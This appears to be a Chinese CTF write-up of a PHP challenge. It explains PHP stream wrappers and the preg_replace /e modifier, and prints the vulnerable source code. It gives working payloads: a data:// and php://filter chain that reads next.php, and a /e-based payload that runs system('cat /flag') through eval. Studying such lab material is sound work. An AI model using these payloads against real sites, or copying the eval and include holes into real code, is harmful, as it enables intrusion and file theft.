0x00 知识点
- 文件包含伪协议
- preg_replace()使用的/e模式可以存在远程执行代码
0x01 知识点详解
- 什么伪协议?
答:PHP伪协议事实上就是支持的协议与封装协议
一共有一下12种
a. file:// — 访问本地文件系统
b. http:// — 访问 HTTP(s) 网址
c. ftp:// — 访问 FTP(s) URLs
d. php:// — 访问各个输入/输出流(I/O streams)
e. zlib:// — 压缩流
f. data:// — 数据(RFC 2397)
g. glob:// — 查找匹配的文件路径模式
h. phar:// — PHP 归档
i. ssh2:// — Secure Shell 2
j. rar:// — RAR
k. ogg:// — 音频流
l. expect:// — 处理交互式的流
每个协议的具体作用可以去看这篇大佬的博客
本题就需要利用data伪协议读取I have a dream,然后用filter伪协议读取next.php。
- 为什么preg_replace()使用的/e模式会导致代码执行?
答:原本preg_replace 函数只是用来执行一个正则表达式的搜索和替换,但是当 preg_replace 使用了 /e 模式,导致可以代码执行,而且该函数的第一个和第三个参数都是我们可以控制的。我们都知道, preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(也就是 preg_replace 函数的第二个参数)当做代码来执行,这时候如果我们利用传参的方式将第二个参数固定成我们想要执行的命令。那我们不就实现了远程命令执行。具体细节可以去看这位大佬的博客
0x02 解题思路
- 打开网站经典代码审计
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"]; //get传进来两个参数,一个text,一个file
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ //text传进来的参数内容要是I have a dream
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){ //file传进来的参数内容不能是flag
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
最后有提示到了next.php文件,之间访问没有东西,那就使用伪协议来读取文件里的内容。构造payload
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
把这串base64加密的信息解密一下,具体解密内容如下
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str //看到这里就知道需要利用命令执行了
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']); //这里给出了获取flag的方法。
}
这里由于/e 修正符使 preg_replace() 将 replacement 参数(第二个参数,字符串)当作 PHP 代码执行。
那么我们就可以构造payload了
?\S*=${getFlag()}&cmd=system('cat /flag');